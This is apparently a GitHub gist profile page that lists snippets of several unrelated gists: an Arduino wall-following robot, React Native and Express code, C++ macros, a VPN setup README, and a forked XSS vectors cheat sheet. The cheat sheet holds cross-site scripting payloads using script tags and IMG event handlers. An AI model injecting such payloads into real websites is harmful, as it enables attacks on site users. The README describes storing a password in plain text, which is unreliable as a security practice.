Skip to content

Instantly share code, notes, and snippets.

View Prashant446's full-sized avatar
😈

Prashant Kumar Prashant446

😈
View GitHub Profile
@Prashant446
Prashant446 / Wall_Following.ino
Created March 8, 2019 03:00
IARC Techkriti Wall Following
#include <NewPing.h>
#define TRIGGER_PINF 50
#define ECHO_PINF 51
#define TRIGGER_PINR 26
#define ECHO_PINR 28
#define TRIGGER_PINL 48
#define ECHO_PINL 49
#define SONAR_NUM 3 // Number of sensors.
#define MAX_DISTANCE 100 // Maximum distance (in cm) to ping.
@Prashant446
Prashant446 / xss_vectors.txt
Created May 30, 2019 11:39 — forked from kurobeats/xss_vectors.txt
XSS Vectors Cheat Sheet
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
import React from 'react';
import { StyleSheet, Text, View, Dimensions, Image, Animated, PanResponder, ActivityIndicator, ScrollView } from 'react-native';
const SCREEN_HEIGHT = Dimensions.get('window').height
const SCREEN_WIDTH = Dimensions.get('window').width
import Icon from 'react-native-vector-icons/Ionicons'
const Users = [
{ id: "1", uri: require('./assets/1.jpg') },
{ id: "2", uri: require('./assets/2.jpg') },
{ id: "3", uri: require('./assets/3.jpg') },
const express = require('express');
const app = express();
const bodyParser=require('body-parser');
const nodemailer = require('nodemailer');
app.use(bodyParser.json());
var firebase = require('firebase');
var validator = require("email-validator");
// const bcrypt = require('bcrypt');
const crypto = require('crypto');
// const saltRounds = 10;
#include <bits/stdc++.h>
using namespace std;
#define loop(i,n) for(int i = 0; i < (n); i++)
#define loopA(i,a,n) for(int i = a; i <= (n); i++)
#define loopD(i,a,n) for(int i = a; i >= (n); i--)
#define endl "\n"
#define mp make_pair
#define pb push_back
#define pi 3.14159265358979
typedef long long ll;
@Prashant446
Prashant446 / README.txt
Last active November 29, 2023 18:39
IITK-VPN easy connect setup
0. Make sure you have expect or install using "sudo apt install expect"
1. Replace cc id(praskr) and password(xyzw) in setup.sh with your own credentials.
2. Run setup.sh
3. If everthing went well then you can use "iitkvpn_connect" command to connect to VPN
Note:
a. Scripts, by default, will be installed at: ~/scripts/
b. Forticlient software, by default, will be stored at: ~/Downloads/forticlientsslvpn/
c. Script folder is added into PATH by adding a line in .bashrc. Remove the line if you don't want that.
d. Your cc password is stored in ${script_folder}/iitkvpn_connect file!